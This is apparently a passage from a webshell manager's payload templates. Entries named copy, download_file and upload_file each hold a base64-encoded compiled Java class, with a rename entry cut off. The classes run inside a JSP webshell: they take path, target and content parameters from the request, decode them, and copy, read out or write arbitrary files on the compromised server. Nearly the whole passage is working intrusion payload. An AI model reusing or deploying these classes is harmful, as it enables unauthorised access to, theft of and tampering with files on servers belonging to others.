L1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQARKExqYXZhL2lvL0ZpbGU7KVYBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAVjbG9zZQAhAEMARAAAAAIAAQBFAEYAAAABAEcARgAAAAUAAQBIAEkAAQBKAAAAHQABAAEAAAAFKrcAAbEAAAABAEsAAAAGAAEAAAAGAAEATABNAAEASgAAAeAABQAIAAAA9yvAAAJNLLYAA04stgAEOgQqLRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHtQAIKi0SCbkABgIAxgAOLRIJuQAGAgCnAAUSCrUAC7sADFkSB7cADToFuwAMWRIHtwANOgYZBBIOuQAPAgAtKrQAC7kAEAIAGQQqtAALuQARAgAqKrsAElm3ABMtEhS5AAYCALYAFRIHtgAVtgAWtgAXtgAYOgcZBRIZtgAaVxkGKhkHtgAbtgAaVxkFGQa2ABy2ABpXGQUSHbYAGlcstgAeGQW2ABy2AB+nACI6BxkGuwASWbcAExIhtgAVGQe2ACK2ABW2ABa2ABpXBKwAAQBeANMA1gAgAAIASwAAAFIAFAAAAAsABQAMAAoADQAQAA4ALAAPAEgAEABTABEAXgATAGcAFABxABUAfAAWAKAAFwCoABgAtAAZAL8AGgDHABsA0wAeANYAHADYAB0A9QAfAE4AAAB3AAb/ACcABQcATwcAUAcAUQcAUgcAUwABBwBU/wABAAUHAE8HAFAHAFEHAFIHAFMAAgcAVAcAVVkHAFT/AAEABQcATwcAUAcAUQcAUgcAUwACBwBUBwBV/wCQAAcHAE8HAFAHAFEHAFIHAFMHAFYHAFYAAQcAVx4AAABYAFkAAgBKAAAAQwAEAAIAAAAeKrQACBIjtgAkmQAFK7C7ACVZK7YAJiq0AAu3ACewAAAAAgBLAAAACgACAAAAIgAOACMATgAAAAMAAQ4AWgAAAAQAAQAgAAAAWwBZAAIASgAAAU0ABgAGAAAAySq0AAgSI7YAJJkAlysSKKUADCsSKLYAJJkABhIHsBIpTSu2ACpMuwArWSu2ACwFbLcALU4SBzoEAzYFFQUrtgAsogBYuwASWbcAExkEtgAVLCsVBbYALrYALwd4LCsVBQRgtgAutgAvgLYAMBIxtgAVtgAWOgQtLCsVBbYALrYALwd4LCsVBQRgtgAutgAvgLYAMoQFAqf/pS0SCrYAM7AqtAAIEjS2ACSZAB4BTbsANVm3ADZOLSu2ADdNuwAlWSwSCrcAJ7ArsAAAAAIASwAAAEoAEgAAACYADAAnABsAKAAeACoAIQArACYALAA0AC0AOAAuAEQALwB2ADAAkwAuAJkAMgCgADMArAA0AK4ANQC2ADYAvAA3AMcAOQBOAAAAIgAGGwL/ABwABgcATwcAVQcAVQcAXAcAVQEAAPoAXfgABiYAWgAAAAQAAQAgAAAAXQBZAAIASgAAAJYACQAFAAAAVRIHTRIHTrsAOFm7ADlZuwA6WbsAO1krtwA8twA9KrQAC7cAPrcAPzoEGQS2AEBZTcYAHrsAElm3ABMttgAVLLYAFRJBtgAVtgAWTqf/3hkEtgBCLbAAAAACAEsAAAAaAAYAAAA8AAYAPQApAD4AMwA/AE4AQQBTAEIATgAAAA8AAv4AKQcAVQcAVQcAXiQAWgAAAAQAAQAgAAEAXwAAAAIAYA=='
,
'var1'
:
'#{path}'
},
copy
:
{
_
:
'yv66vgAAADIA4QoASwBtBwBuCgACAG8KAAIAcAgATAsAcQByCABzCQBKAHQIAHUIAHYJAEoAdwcAeAoADAB5CAB6CwB7AHwLAHEAfQsAewB9BwB+CgASAG0IAH8KABIAgAoAEgCBCgBKAIIKAEoAgwgAhAgAhQoADACGCgBKAIcKAAwAgQgAiAoAAgCJCgCKAIsHAIwIAI0KACEAgQgAjgoAJgCPBwCQCgAmAJEKACYAkggAkwgAlAoAJgCVBwCWCgAmAJcKACwAmAoAJgCZCgAmAJoKABIAmwgAnAoALACdCgAsAJ4IAJ8HAKAKADYAbQoANgChBwCiCgA5AHkKADkAowoAOQCkCgA5AKUKADkApggApwoAOQCoBwCpCgBBAKoHAKsKAEMAqgoAQQCsCgBDAK0KAEEArgoAQwCuCACvBwBkBwCwAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAGQHALAHAG4HALEHALIHAGQHAJAHAHgHAIwBAAJFQwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAlgEAEUNvcHlGaWxlT3JEaXJDb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsHAKIHALMHAKkHAKsHALQBAApTb3VyY2VGaWxlAQAWQ29weUZpbGVPckRpckNvZGUuamF2YQwATwBQAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMALUAtgwAtwC4BwCxDAC5AGABAAAMAEwATQEAB2NoYXJzZXQBAAVVVEYtOAwATgBNAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwATwC6AQAJdGV4dC9odG1sBwCyDAC7ALoMALwAugEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAvQC+DAC/AMAMAGIAYAwAXwBgAQAEdmFyMgEAAy0+fAwAvQDBDABkAGUBAAN8PC0MAMIAwwcAxAwAxQC6AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAUwBUAQAQamF2YS9sYW5nL1N0cmluZwwAxgDHDABPAMgBAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwAyQDAAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAMoAywwATwDMDADNAM4MAM8A0AwAvQDRAQABLAwA0gDMDAC/AGABAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDADTANQBAAxqYXZhL2lvL0ZpbGUMANUA1gwA1wDWDADYANYMANkA2gEAAS8MANsAwAEAF2phdmEvaW8vRmlsZUlucHV0U3RyZWFtDABPANwBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0MAN0A3gwA0gDfDADgAFABAAExAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAD1tMamF2YS9pby9GaWxlOwEAAltCAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYB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'
,
'var1'
:
'#{path}'
,
'var2'
:
'#{target}'
},
download_file
:
{
_
:
'yv66vgAAADIAygoAQgBfBwBgCgACAGEKAAIAYggAYwsAZABlCABmCABnCABoBwBpCgAKAGoIAGsLAGwAbQsAZABuCwBsAG4HAG8KABAAXwgAcAoAEABxCgAQAHIKAEEAcwoAQQB0CAB1CgAKAHYHAHcKAEEAeAoACgByCAB5CgACAHoKAHsAfAcAfQgAfgoAHwByCAB/CgAkAIAHAIEKACQAggoAJACDCACECACFCgAkAIYHAIcKACQAiAoAKgCJCgAkAIoKACQAiwoAEACMCACNCgAqAI4KACoAjwgAkAcAkQoANABfCgA0AJILABkAkwsAGQCUBwCVBwCWCgA6AGoKADkAlwoAmACZCgA5AJoKAJgAmwoAOQCbBwBXBwCcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAGAHAJ0HAJ4HAIEHAFcHAJwHAGkHAH0BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAhwEAEERvd25sb2FkRmlsZUNvZGUBAD0oTGphdmEvbGFuZy9TdHJpbmc7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWBwB3BwCfBwCgBwCVAQAKU291cmNlRmlsZQEAFURvd25sb2FkRmlsZUNvZGUuamF2YQwAQwBEAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAKEAogwAowCkAQAHZW5jb2RlcgcAnQwApQCmAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAQwCnAQAJdGV4dC9odG1sBwCeDACoAKcMAKkApwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAqgCrDACsAK0MAFUAUwwAUgBTAQADLT58DACqAK4BACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAVwBYAQADfDwtDACvALAHALEMALIApwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAEcASAEAEGphdmEvbGFuZy9TdHJpbmcMALMAtAwAQwC1AQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMALYArQEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAC3ALgMAEMAuQwAugC7DAC8AL0MAKoAvgEAASwMAL8AuQwArACmAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwAwADBDADCAEQMAMMAxAEAG2phdmEvaW8vQnVmZmVyZWRJbnB1dFN0cmVhbQEAF2phdmEvaW8vRmlsZUlucHV0U3RyZWFtDABDAMUHAKAMAL8AxgwAxwDIDADJAEQBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQACW0IBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxq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'
,
'var1'
:
'#{path}'
},
upload_file
:
{
_
:
'yv66vgAAADIAvQoAQABbBwBcCgACAF0KAAIAXggAXwsAYABhCABiCABjCABkBwBlCgAKAGYIAGcLAGgAaQsAYABqCwBoAGoHAGsKABAAWwgAbAoAEABtCgAQAG4KAD8AbwoAPwBwCABxCAByCgAKAHMKAD8AdAoACgBuCAB1CgACAHYKAHcAeAcAeQgAegoAHwBuCAB7CgAkAHwHAH0KACQAfgoAJAB/CACACACBCgAkAIIHAIMKACQAhAoAKgCFCgAkAIYKACQAhwoAEACICACJCgAqAIoKACoAiwgAjAcAjQoANABbCgA0AI4HAI8KADcAZgoANwCQBwCRCgA6AJIKADoAigoAOgCTCACUBwBVBwCVAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAFwHAJYHAJcHAH0HAFUHAJUHAGUHAHkBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAgwEADlVwbG9hZEZpbGVDb2RlAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsHAI8HAJEBAApTb3VyY2VGaWxlAQATVXBsb2FkRmlsZUNvZGUuamF2YQwAQQBCAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAJgAmQwAmgCbAQAHZW5jb2RlcgcAlgwAnACdAQAAAQAHY2hhcnNldAEABVVURi04AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAQQCeAQAJdGV4dC9odG1sBwCXDACfAJ4MAKAAngEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAoQCiDACjAKQMAFMAUQwAUABRAQAEdmFyMgEAAy0+fAwAoQClDABVAFYBAAN8PC0MAKYApwcAqAwAqQCeAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwARQBGAQAQamF2YS9sYW5nL1N0cmluZwwAqgCrDABBAKwBAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwArQCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAK4ArwwAQQCwDACxALIMALMAtAwAoQC1AQABLAwAtgCwDACjAJ0BAAZiYXNlNjQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAC3ALgBAAxqYXZhL2lvL0ZpbGUMALkAugEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQwAQQC7DAC8AEIBAAExAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQANY3JlYXRlTmV3RmlsZQEAAygpWgEAEihMamF2YS9pby9GaWxlO1opVgEABWNsb3NlACEAPwBAAAAAAAAFAAEAQQBCAAEAQwAAAB0AAQABAAAABSq3AAGxAAAAAQBEAAAABgABAAAACAABAEUARgABAEMAAAHdAAUACwAAASUrwAACTSy2AANOLLYABDoELRIFuQAGAgDGAA4tEgW5AAYCAKcABRIHOgUtEgi5AAYCAMYADi0SCLkABgIApwAFEgk6BrsAClkSB7cACzoHuwAKWRIHtwALOggZBBIMuQANAgAtGQa5AA4CABkEGQa5AA8CACoquwAQWbcAES0SErkABgIAtgATEge2ABO2ABQZBRkGtgAVGQUZBrYAFjoJKiq7ABBZtwARLRIXuQAGAgC2ABMSB7YAE7YAFBkFGQa2ABUZBRkGtgAWOgoZBxIYtgAZVxkIKhkJGQq2ABq2ABlXGQcZCLYAG7YAGVcZBxIctgAZVyy2AB0ZB7YAG7YAHqcAIjoJGQi7ABBZtwAREiC2ABMZCbYAIbYAE7YAFLYAGVcErAABAFoBAQEEAB8AAgBEAAAAVgAVAAAACwAFAAwACgANABAADgAqAA8ARAAQAE8AEQBaABMAYwAUAGsAFQB0ABYAoAAXAMwAGADUABkA4gAaAO0AGwD1ABwBAQAfAQQAHQEGAB4BIwAgAEcAAABCAAb+ACYHAEgHAEkHAEpBBwBL/AAXBwBLQQcAS/8AwQAJBwBMBwBNBwBIBwBJBwBKBwBLBwBLBwBOBwBOAAEHAE8eAAAAUABRAAIAQwAAAEQABAAEAAAAHiwSIrYAI5oACSwSIqYABSuwuwAkWSu2ACUttwAmsAAAAAIARAAAAAoAAgAAACMAEQAkAEcAAAAEAAIPAQBSAAAABAABAB8AAABTAFEAAgBDAAABaAAGAAgAAADcLBIitgAjmgAJLBIipgCfKxInpQAMKxIntgAjmQAGEgewEig6BCu2AClMuwAqWSu2ACsFbLcALDoFEgc6BgM2BxUHK7YAK6IAXbsAEFm3ABEZBrYAExkEKxUHtgAttgAuB3gZBCsVBwRgtgAttgAugLYALxIwtgATtgAUOgYZBRkEKxUHtgAttgAuB3gZBCsVBwRgtgAttgAugLYAMYQHAqf/oBkFEgm2ADKwLBIztgAjmgAJLBIzpgAjAToEuwA0WbcANToFGQUrtgA2OgS7ACRZGQQSCbcAJrArsAAAAAIARAAAAEoAEgAAACcADwAoAB4AKQAhACsAJQAsACoALQA5AC4APQAvAEkAMAB9ADEAnQAvAKMAMwCrADQAugA1AL0ANgDGADcAzgA4ANoAOgBHAAAAKgAIDw4C/wAeAAgHAEwHAEsHAEsHAEsHAEsHAFQHAEsBAAD6AGL4AAcOHwBSAAAABAABAB8AAABVAFYAAgBDAAAAtAAGAAcAAABXEihOuwA3WSu3ADg6BBkEtgA5V7sAOlkZBAS3ADs6BQM2BhUGLLYAK6IAJxkFLSwVBrYALbYALgd4LSwVBgRgtgAttgAugLYAPIQGAqf/1hkFtgA9Ej6wAAAAAgBEAAAAJgAJAAAAPQADAD4ADQA/ABMAQAAfAEEAKwBCAEkAQQBPAEQAVABFAEcAAAAfAAL/ACIABwcATAcASwcASwcASwcAVwcAWAEAAPoALABSAAAABAABAB8AAQBZAAAAAgBa'
,
'var1'
:
'#{path}'
,
'var2'
:
'#{buffer::content}'
},
rename
:
{
_
:
